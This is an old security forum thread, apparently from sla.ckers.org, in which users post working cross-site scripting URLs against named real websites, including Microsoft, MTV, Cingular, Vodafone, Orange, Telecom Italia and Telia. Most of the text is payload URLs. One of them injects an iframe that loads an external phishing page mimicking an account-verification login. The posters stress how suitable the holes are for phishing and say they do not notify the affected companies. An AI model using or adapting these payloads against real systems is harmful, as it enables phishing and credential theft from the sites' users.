This is a pretty good example of jumping out of encapsulation while in a JavaScript function: http://www.microsoft.com/mac/resources/templates.aspx?pid=templates&browser=1&app=&group=&category=&template=%22;alert(%22XSS%22);//
Is it goon-line or go-online? The world may never know: http://goonline.seeq.com/seeq/int_results.jsp?portal_id=1&domain=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E&tag=fdsa&keyword=blah
heh, a very phishable find..
and coincidentally, the last javascript string escaping i posted was from their partners in ineptitude http://sla.ckers.org/forum/read.php?3,44,727#msg-727
Same vein... I'm on a roll tonight... so I guess this proves that removing < and > isn't the be all end all: http://www.mtv.com/search/index.jhtml?searchterm=%22);alert(%22XSS%22);//&x=0&y=0
Hmm... actually looks like all their cnames are vulnerable too... You know this is the exact reason I loathe about.com... it tries to be everything to everyone and therefore spam all the search engines. Now everything is vulnerable: http://math.about.com/od/mathjokes/index.htm?terms=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/SCRIPT%3E
again because i was bored.. http://onlinecare.cingular.com/support/knowledgeBase.do?content=%68tt%70%3a%2f/cingular%2ego%2edyndns%2e%6frg/accountverify.html
feel free to login..
This isn't arbitrary XSS, only iframe injection solely from the link: content=http://evil.com .. but it is a good example to show that an injection under /support/ can be quite damaging from phishing - even when just an iframe.
This one is particularly well suited for phishing, since the domain still stays as onlinecare.cingular.com (not so with redirects) .. and the URL is short (long hex encoded strings look suspicious) and the rest of the site is functional and convincing
hopefully, for their sake, they fix it soon - although i'm too lazy to notify them.
here's another good example for injecting inside script tags.. http://www.vodafone.com/site_search_results/0,3062,CATEGORY_ID%253D200%2526LANGUAGE_ID%253D0%2526CONTENT_ID%253D0,00.html?section=all&company=all&KWD=%22%3B%3C%2Fscript%3E%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E%3Cb+&submitButton=%C2%BB
the filter correctly encodes special characters to unuseable but displayable forms.. but inside javascript, it escapes double quotations to \" .. which does nothing to prevent you from prematurely ending a string.
However, it also translates } into | .. just to be a pain. and prevents anyone from ending the if(null=null) { blah; | statement. Thus the need for a new set of script tags
http://buscador.telefonica.es/jsp/index.jsp?QUERYSTRING=&NOMLIB=telefonica%7Ctelefonicacom%7Cgrupo_telefonicaonline%7Cgrupo_Telefonicamoviles%7Cgrupo_telefonicadata%7Cgrupo_telefonicamedia%7Cgrupo_cabitel%7Cgrupo_fundaciontelefonica%7Cgrupo_telefonicaid%7Cgrupo_telefonicacable%7Cgrupo_terra%7C&QUERYTYPE=1&QUERYLEVEL=2&DOFRAME=YES&NRESULT=10&PAG=DORESULT&PAGINA=0&FILEINI=&SALADEPRENSA=&IDIOM=&QUERYTXT=a'><script>alert('XSS');</script><b no filters
http://www.orange.com/francais/search/default.asp?qt=maluc%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&ref=form&nh=100&postback=true&col=frhtml no filters .. big french cell phone company, if you're american and don't know them
http://www.telecomitalia.com/cgi-bin/tiportale/TIPortale/ep/programView.do?string=a%22></iframe><script>alert(%22XSS%22)</script><b&Submit=&saveResults=true&saveResults=true&logDebug=true&indexName=TELECOM&lang=ENGLISH&encoding=UTF-8&abstractLength=300&hitsPerSet=10&startSet=1&LANG=EN&tabId=0&pageTypeId=9535&channelId=-8661&programId=27833&programPage=%252Fep%252Fcommon%252FsearchResult.jsp&BV_UseBVCookie=Yes it looks like you first need a session id before this'll work .. (i.e. click the link twice)
no filters.. breaking out of iframe
and i'm exhausted now.. so i'll finish the rest of the top 15 phone companys tomorrow ... http://en.wikipedia.org/wiki/List_of_mobile_network_operators
-maluc
btw RSnake: the link compactor is quite sensitive about unencoded quotations like in: http://www.telecomitalia.com/cgi-bin/tiportale/TIPortale/ep/programView.do?string=a"></iframe><script>alert("XSS")</script><b&Submit=&saveResults=true&saveResults=true&logDebug=true&indexName=TELECOM&lang=ENGLISH&encoding=UTF-8&abstractLength=300&hitsPerSet=10&startSet=1&LANG=EN&tabId=0&pageTypeId=9535&channelId=-8661&programId=27833&programPage=%252Fep%252Fcommon%252FsearchResult.jsp&BV_UseBVCookie=Yes
http://www.whiteacid.org/misc/xss_post_forwarder.php?xss_target=http://www.telenor.com.pk/careers/Jobs.php?&CV_ID=XSS%27%3C&password=a<script>alert(String.fromCharCode(88,83,83))</script>&Submit2=++Sign+In++ telenor.com.pk .. a large norwegian mobile service provider, that i've never heard of .com.pk is their pakistan domain though
They filter most of their site.. but let their SQL errors spit back unfiltered input
There may me an sql injection in a couple places of their site too.. but i fail at sql stuff :/
another cell phone service provider .. .dk = their denmark version
http://se.ext.telia.newjobs.com/login.asp?redirect=h%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E%3Cb%20 their job search site.. i dont speak swedish, so not sure if this is a general job site or telia only _-_
http://192.89.232.139/jobs/frmAdSearch.asp?JOBCITY=&JOBUNIT=&JOBTYPE=&JOBFUN=&JOBFUN_SUB=&JOBFUNCTION=&FREE_TEXT=XSS+here%22%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%3Cb+&JOBSORT=AD_EXT_CDATE&TOP_10=0&L=1 their finnish site, i'm not sure why they don't use a domain name..
http://webbguide.telia.se/redirect.jsp?rid=-1&type=FRONTWEB_INFO_FTG&url=http://nabegr32b.cocolog-nifty.com/wonderfulgr32/images/caterham_seven_csr260.jpg yes i know this is a redirect.. but they were related so i included it here..
-maluc
Edited 3 time(s). Last edit at 09/24/2006 05:54PM by maluc.
singapore cell phone service company .. no filtering - 3 input tags breakout, and 1 textarea breakout
Well my unscientific, and unexhaustive survey found that atleast 12 of the biggest 17 (70%) cell phone service companys have XSS holes ripe for phishing.. sad indeed :T
-maluc
Edited 1 time(s). Last edit at 09/24/2006 06:53PM by maluc.
